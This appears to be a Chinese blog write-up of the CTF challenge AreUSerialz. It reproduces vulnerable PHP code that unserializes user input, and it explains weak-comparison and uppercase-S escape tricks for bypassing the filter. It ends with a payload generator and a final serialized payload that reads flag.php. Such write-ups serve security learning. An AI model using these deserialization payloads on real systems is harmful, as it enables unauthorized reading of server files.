[网鼎杯 2020 青龙组]AreUSerialz1

代码审计

得到一大串源码,但是不要慌,虽然源码很多,其实题目并不难

这段代码是一个简单的文件读写类 FileHandler,以及一个反序列化函数 unserialize() 的使用。


<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

首先,引入了 flag.php 文件

然后,定义了一个名为 FileHandler 的类,该类拥有以下属性和方法:

  • $op:操作类型,默认为 "1"。

  • $filename:文件名,默认为 "/tmp/tmpfile"。

  • $content:文件内容,默认为 "Hello World!"。

构造函数 __construct() 用于初始化属性,并调用 process() 方法进行处理。

process() 方法根据 $op 的值,决定执行不同的操作。当 $op 为 "1"(注意这里的弱类型比较),调用 write() 方法进行写操作;当 $op 为 "2" 时,调用 read() 方法进行读操作;否则,输出 "Bad Hacker!"。

write() 方法首先检查 $filename 和 $content 是否存在。如果 $content 的长度超过 100 个字符,则输出 "Too long!" 并终止程序。否则,使用 file_put_contents() 函数将 $content 写入到 $filename 中,并根据写入结果输出相应的信息。

read() 方法根据 $filename 使用 file_get_contents() 函数读取文件内容,并返回读取结果。

output() 方法用于输出结果,在结果前添加了一个固定的字符串 "[Result]: <br>"。

__destruct() 方法在对象销毁时被调用,如果 $op 的值为 "2"注意这里的强类型比较),则将 $op 的值修改为 "1",并清空 $content,然后再次调用 process() 方法。

接下来,定义了一个名为 is_valid() 的函数,用于检查一个字符串是否包含有效的可打印字符。

该函数使用 ord() 函数判断字符串中每个字符的 ASCII 值是否在可打印字符的范围内(32 到 125),如果有不在范围内的字符,则返回 false,否则返回 true。

最后,通过 $_GET 获取名为 str 的参数,并将其转换为字符串类型的变量 $str。如果 $str 经过 is_valid() 函数的检查,返回 true,则使用 unserialize() 函数对 $str 进行反序列化操作,并将结果赋值给变量 $obj。

解题思路

到最后我们得知有用到的就三个:

  1. 一个是read方法,根据read方法的性质,现将filename属性的初值设定为我们要查看的flag.php

  1. 再将op属性的值设置为整数类型的2,这样就可以绕过__destruct方法又可以执行read()方法

  1. 最后涉及到两个知识点是有关protected可见性序列化大写S的情况:

protected可见性

op,filename,$content三个变量权限都是protected,而protected权限的变量在序列化的时会有%00*%00字符,%00字符的ASCII码为0,就无法通过上面的is_valid函数校验


public可见性的序列化:
O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3BN%3B%7D

protected可见性的序列化:
O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A5%3A%22%00%2A%00op%22%3Bi%3A2%3Bs%3A11%3A%22%00%2A%00filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A10%3A%22%00%2A%00content%22%3BN%3B%7D

反序列化大写S

根据 PHP 的序列化规则,字母 "s" 用于表示字符串数据类型,而 "S" 用于表示十六进制字符串数据类型。因此,如果将 "s" 改为大写的 "S",则可以解析十六进制。

所以我们可以将protected可见性所产生的%00转换为\\00(因为要转义,所以要两个\)

最终代码


<?php  
class FileHandler {
    protected $op = 2;
    protected $filename ='flag.php';
    protected $content;

}
$a = urlencode(serialize(new FileHandler));
$b =str_replace('%00',"\\00",$a);
$b =str_replace('s','S',$b);
echo $b
?>

payload:O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3BS%3A8%3A%22flag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3BN%3B%7D

在源码中可以获得flag

  • 5
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值